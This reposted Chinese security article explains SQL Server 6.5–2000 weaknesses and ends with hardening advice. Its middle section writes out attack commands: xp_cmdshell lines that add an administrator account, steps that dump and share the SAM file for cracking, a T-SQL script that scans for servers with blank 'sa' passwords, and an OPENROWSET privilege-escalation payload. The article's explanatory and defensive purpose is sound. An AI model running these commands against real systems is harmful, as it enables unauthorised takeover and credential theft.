關于SQL SERVER的一些安全問題
2024-08-31 00:48:51
供稿:網友
 
關于sql server的一些安全問題
by xundi<安全焦點>
[email protected]
www.xfocus.org
目前關于nt服務器的入侵,有很多種方法,如對iis的漏洞進行利用,但
大家不知道注意到沒有,其實通過與nt服務器相關聯的sql數據庫服務器
的例子也是很有比例的一種手段。大家可以參看下面的一個新聞報道:
http://www.vnunet.com/news/1110938。
herbless入侵破壞的一些站點,如legoland.co.uk站點就是通過sql服務器
的入侵而獲得對系統的控制權而破壞的。所以對sql服務器的保護是必不可
少的,這里我整理了一些漏洞供大家來參考,見笑,見笑。
----------------------------------------------------------------
我們先來看看sql服務程序支持的網絡協議庫:
----------------------------------------------------------------
| sql server network protocol libraries |
----------------------------------------------------------------
|protocol library| 可能存在的漏洞 | 是否加密 |
----------------------------------------------------------------
|named pipes | --使用nt smb端口(tcp139,udp137, | 否 |
|(有名管道) | 138)來進行通信,這些可以被通 | |
| | 的防火墻控制,但如果內部網絡可| |
| | 隨意訪問的話也是一個不小的缺陷| |
| | --用戶名字,密碼和數據沒有進行加| |
| | 傳輸,任何人可以通過sniffer來 | |
| | 進行數據捕獲。 | |
----------------------------------------------------------------
|ip sockets | --默認狀態下開1433口,你可以使用| 否 |
| | 掃描器來查看這個端口。 | |
| | 可以被sniffer截獲數據。 | |
----------------------------------------------------------------
|multi-protocol | --客戶端需要支持nt rpcs;在不同 | 是 |
| | 種類的環境中可能引起問題。 | |
| | --默認情況下使用tcp隨機端口,但| |
| | 防火墻進行端口圖固定實現(參 | |
| | 看kb q164667)。 | |
| | --需要注意加密選項是否選擇,默 | |
| | 是不選擇此選項的。 | |
----------------------------------------------------------------
|nwlink | --存在被sniffer截獲數據的危險 | 否 |
----------------------------------------------------------------
|appletalk (adsp)| --存在被sniffer截獲數據的危險 | 否 |
----------------------------------------------------------------
|banyan vines | --存在被sniffer截獲數據的危險 | 否 |
----------------------------------------------------------------
一般的推薦使用是:如果你能在integrated (nt) security上使用named pipes 或者
multi-protocol,那你就使用這些協議庫,如果可能,盡量使用multi-protocol
和使能加密選項。如果你上面幾個不能使用,那就使用ip sockets協議,并改變
其默認的端口并隨時檢查系統保證無任何sniffer存在。并且,考慮使用一web服
務或者com組件作為應用程序的business object layer,并在中間層和sql服務程
序中使用安全通道(secure channel)。有不少第三方的產品可以加密這方面的通信。
-----------------------------------------------------------------------
下面再講一下sql server的各種安全模式和它們怎樣進行工作?
安全模式定義了一些sql server是怎樣認證要使用它們服務的用戶,請看下面
sql server 6.5的安全模式和在sql server 7.0做了改變的一些描述和區別:
-------------------------------------------------------------------
|安全模式 | sql server 6.5 | sql server 7.0改變地方 |
-------------------------------------------------------------------
|standard | --登陸定義在sql server里| --單獨的標準模式在sql server|
|標準模式 | 而且給定密碼。 | 沒有使用了。 |
| | --sql server的登錄帳戶與| |
| | window nt分開 | |
-------------------------------------------------------------------
|integrated |-使用安全管理器sql的帳 | --在這里成為"windows nt only"|
|綜合模式 | 戶。 | 模式。 |
| |-用戶在連接到sql server| --只工作在nt系統下,在win9x不|
| | 不需要特定分開login和 | 支持。 |
| | 密碼。 | |
| |-密碼從不存儲在應用程序| --可以直接結合到nt的組中便于 |
| | 中,并不以明文在網絡中| 管理,(注意有一builtin組在|
| | 傳輸。 | 本地系統上產生). |
| |-sql server可以使用nt的| |
| | 的認證方式來認證用戶并| |
| | 可以使用如帳戶過期等。| |
| |-需要named pipe或multi-| |
| | protocol庫。 | |
--------------------------------------------------------------------
|mixed |-提供上面的方式的一些特| --成為sql server和windows nt |
|混合性方式 | 征但有后退的東西是客戶| 模式。 |
| | 端不能建立可信任連接。| --盡量使用window nt only模式 | |
--------------------------------------------------------------------
登錄只不過是第一步,一旦用戶登錄,用戶必須訪問獨立的數據庫,要使上面
的成立,就必須在sysusers表里存在一表目給用戶用的每個數據庫。所以安全
請你注意在你的數據庫中是否存在"guest"帳戶和保證不會在你不注意的時候給
某些人訪問你的數據庫。
詳細的大家可以參看微軟的站點:
http://www.microsoft.com/technet/sql/technote/secure.asp
---------------------------------------------------------------------
關于sql server存在的一些安全問題:
存在"sa"帳戶,密碼就為空,而且這個密碼是sql server安全模塊成員,我們就
可以通過xp_cmdshell stored procedure(擴展存儲過程)來進行命
令操作,如:
xp_cmdshell "net user testuser ugothacked /add"
然后在:
xp_cmdshell "net localgroup administrators testuser /add"
這樣攻擊者就成功的在sql server上增加了一個用戶。
當然遠程的話,一般需要有1433口開著,通過mysql 客戶端進行連接。
當然你也可以使用:
xp_cmdshell "rdisk /s-"
的方法,這樣就在/winnt/repair目錄里重建了信息而不提示用戶。然后
在sam備份以后,攻擊者可以建立一個smb連接到共享或者建立一個連接:
xp_cmdshell "net share getsam=c:/winnt/repair"
利用共享獲得這個文件,然后在使用l0phtcrack來跑吧。如果smb端口被防火墻
控制了,或者關閉了,攻擊者也可以拷貝sam._文件到web目錄進行匿名瀏覽器
下載。如果人家沒有開iis,你何不用tftp呢:).
ok,通過這臺被控制的sql server服務器,攻擊者可以通過它來查找網絡內部
其他機器來擴大戰果,下面是一個sql腳本來列舉網絡中其他sql server存在
空帳戶'sa'的示例:
-----------------------------------------------------------------------
-- create temp table to store enumerated servers 
set nocount on 
create table #temp (shelldump varchar(255)) 
insert #temp exec xp_cmdshell 'osql -l' 
declare @current_server varchar(255), @conn_string varchar(255) 
declare sql_cursor cursor for select * from #temp 
open sql_cursor fetch next from sql_cursor into @current_server 
-- loop through potential targets and check for null sa accounts 
-- if target is vulnerable, version information will be displayed 
while @@fetch_status = 0 
begin 
if @current_server <> 'servers:' 
begin 
select @current_server = rtrim(ltrim(@current_server)) 
select @conn_string = 'exec xp_cmdshell ''osql -s' + @current_server + ' -usa -p -q "select @@version"''' 
print 'attempting connection to server: ' + @current_server 
execute (@conn_string) 
print '=====================================================================' 
end 
fetch next from sql_cursor into @current_server 
end 
--clean up 
close sql_cursor 
deallocate sql_cursor
drop table #temp
----------------------------------------------------------------------
當然有些人也可能關閉xp_cmdshell extended stored procedure(擴展存儲過程),
我們也可以使用下面的方法:
xp_regread 'hkey_local_machine', 'security/sam/domains/account', 'f'
如果mssqlserver 服務在本地系統帳戶下運行,并且如果系統上沒有安裝syskey,上面
的調用就可以返回注冊表中加密的密碼或者sid。
--------------------------------------------------------------------------
另一個漏洞,是關于adhoc heterogenous queries 來進行權利的提升,請看下面微軟
的描述:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp
關于上面的漏洞,可以使用下面的xploit來獲得權利的提升:
select * from openrowset('sqloledb','trusted_connection=yes;data source=myserver',
'set fmtonly off execute master..xp_cmdshell "dir c:/"')
這是大家比較喜歡的一種可以執行其他命令,自己想吧。
---------------------------------------------------------------------------
還有就是最近的一個漏洞:extended stored procedure parameter parsing (擴展存儲
過程參數解析)的漏洞,詳細信息在這個url有介紹:
http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。
起主要問題是在msd中提供一個api函數srv_paraminfo(),它是用來擴展存儲過程調用時
解釋深入參數的,如:
exec <存儲過程名> <參數1>, <參數2>, ...
如要查詢“c:/winnt”的目錄樹,可以如下表達:
exec xp_dirtree 'c:/winnt'
但沒有檢查各個參數的長度,傳遞相當長的字符串,就存在了覆蓋其他堆棧
參數的可能導致緩沖溢出。
目前已經知道的過程如下:
目前已知受影響的擴展存儲過程如下:
1、xp_peekqueue (xpqueue.dll)
xp_printstatements (xprepl.dll)
給第一個參數傳遞超長的字符串會覆蓋異常處理程序所保存的返回地址。
2、xp_proxiedmetadata (xprepl.dll)
該存儲過程使用4個參數。給第二個參數傳遞超長的字符串會覆蓋異常處
理程序所保存的返回地址。
3、xp_setsqlsecurity (xpstar.dll)
該存儲過程使用4個參數。給第三個參數傳遞超長的字符串會使整個sql 
server進程立即終止。
4、xp_displayparamstmt(xprepl.dll)
xp_enumresultset(xprepl.dll)
xp_showcolv (xprepl.dll)
xp_updatecolvbm (xprepl.dll)
給第一個參數傳遞超長的串將導致非法操作并覆蓋異常處理程序所保存的返
回地址。
這里告訴大家一個技巧性的東西,如果想要知道這些擴展存儲過程調用了那寫dll
文件,你可以如下操作,如:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name 
= 'xp_peekqueue' 
這樣你就可以獲得調用這個擴展存儲過程的dll了,如果微軟沒有出補丁的話,你就
暫時把這個dll文件改名吧,當然有些dll文件調用幾個擴展存儲過程,不能盲目更改,
否則導致其他的也不能使用,你需要使用下面的操作來知道dll調用那些擴展存儲過程:
select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll' 
幸好微軟出了補丁,你可以到下面的地方找到,不用一個一個找dll程序了,呵呵:
http://support.microsoft.com/support/sql/xp_security.asp
這個漏洞@stake發現并提供演示的測試代碼,大家可在這里找到:
http://www.atstake.com/research/advisories/2000/sqladv2-poc.c
--------------------------------------------------------------------------
ok,當然sql server也有一些其他漏洞,相對輕微些,如iss發現的管理員
login id存儲在注冊表中,其加密的方法比較簡單,很容易獲得,詳細情況
請看:http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。
---------------------------------------------------------------------
一些對sql server系統的安全建議:
--保證打上最新的安全補丁,如下:
windows nt 4.0 - service pack 6a
sql server 6.5 - service pack 5a
sql server 7.0 - service pack 2. (various hotfixes - check 
http://www.microsoft.com/download) 
sql server 2000 - hotfix s80233i.exe (intel)
當然大家要密切注意微軟的安全公告。
--不要在ip sockets使用端口1433,如果你使用multi-protocol也請
修改端口。
--不要把'sa'密碼嵌入到任意應用程序如vb/delphi apps里,或者一
global.asa文件里,因為"sa"是sql server 的一個默認密碼,其權限
類似與windows nt系統里的管理員帳戶,而且密碼為空。
--改變'sa'和'probe'帳戶的密碼。
--保證sql server的錯誤記錄在ntfs系統上。
--如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' ) 
就不要把xp_cmdshell extended stored proc(擴展存儲過程) 留在服務
器上。在任何isql窗口中輸入:
use master
sp_dropextendedproc 'xp_cmdshell'
--丟棄不需要ole自動存儲過程,當然enterprise manager中的某些特征也
會不能使用,這些過程包括如下:
sp_oacreate sp_oadestroy 
sp_oageterrorinfo sp_oagetproperty 
sp_oamethod sp_oasetproperty 
sp_oastop
--去掉不需要的注冊表訪問過程,如下:
xp_regaddmultistring 
xp_regdeletekey 
xp_regdeletevalue 
xp_regenumvalues 
xp_regread 
xp_regremovemultistring 
xp_regwrite
--去掉其他系統存儲過程,如果你認為你覺得你還有威脅,當然
要小心drop這些過程,你可以在測試機器上測試,保證你正常的
系統能完成工作,這些過程包括:
sp_bindsession sp_cursor sp_cursorclose
sp_cursorfetch sp_cursoropen sp_cursoroption
sp_getbindtoken sp_getmbcscharlen sp_ismbcsleadbyte
sp_oacreate sp_oadestroy sp_oageterrorinfo
sp_oagetproperty sp_oamethod sp_oasetproperty
sp_oastop sp_replcmds sp_replcounters
sp_repldone sp_replflush sp_replstatus
sp_repltrans sp_sdidebug xp_availablemedia
xp_cmdshell xp_deletemail xp_dirtree 
xp_dropwebtask xp_dsninfo xp_enumdsn
xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
xp_eventlog xp_findnextmsg xp_fixeddrives
xp_getfiledetails xp_getnetname xp_grantlogin
xp_logevent xp_loginconfig xp_logininfo
xp_makewebtask xp_msver xp_perfend
xp_perfmonitor xp_perfsample xp_perfstart
xp_readerrorlog xp_readmail xp_revokelogin
xp_runwebtask xp_schedulersignal xp_sendmail
xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
xp_sprintf xp_sqlinventory xp_sqlregister
xp_sqltrace xp_sscanf xp_startmail
xp_stopmail xp_subdirs xp_unc_to_drive 
--去掉數據庫中guest用戶。
--關閉sql mail兼容能力,防止傳遞一些木馬病毒等。
--設置一個任務處理來定時運行下面的程序:
findstr /c:"login failed" /mssql7/log/*.*'
再重定向到其他文件或者mail到管理員信箱。
--經常檢查帶有空密碼的帳戶:
use master
select name,
password
from syslogins
where password is null
order by name
--檢查所有不需要'sa'權限的存儲過程和擴展存儲過程訪問權限:
use master
select sysobjects.name
from sysobjects, sysprotects
where sysprotects.uid = 0
and xtype in ('x','p')
and sysobjects.id = sysprotects.id
order by name
--保證sql server的傳輸信息在隔離的網絡段中。
本文來源于網頁設計愛好者web開發社區http://www.html.org.cn收集整理,歡迎訪問。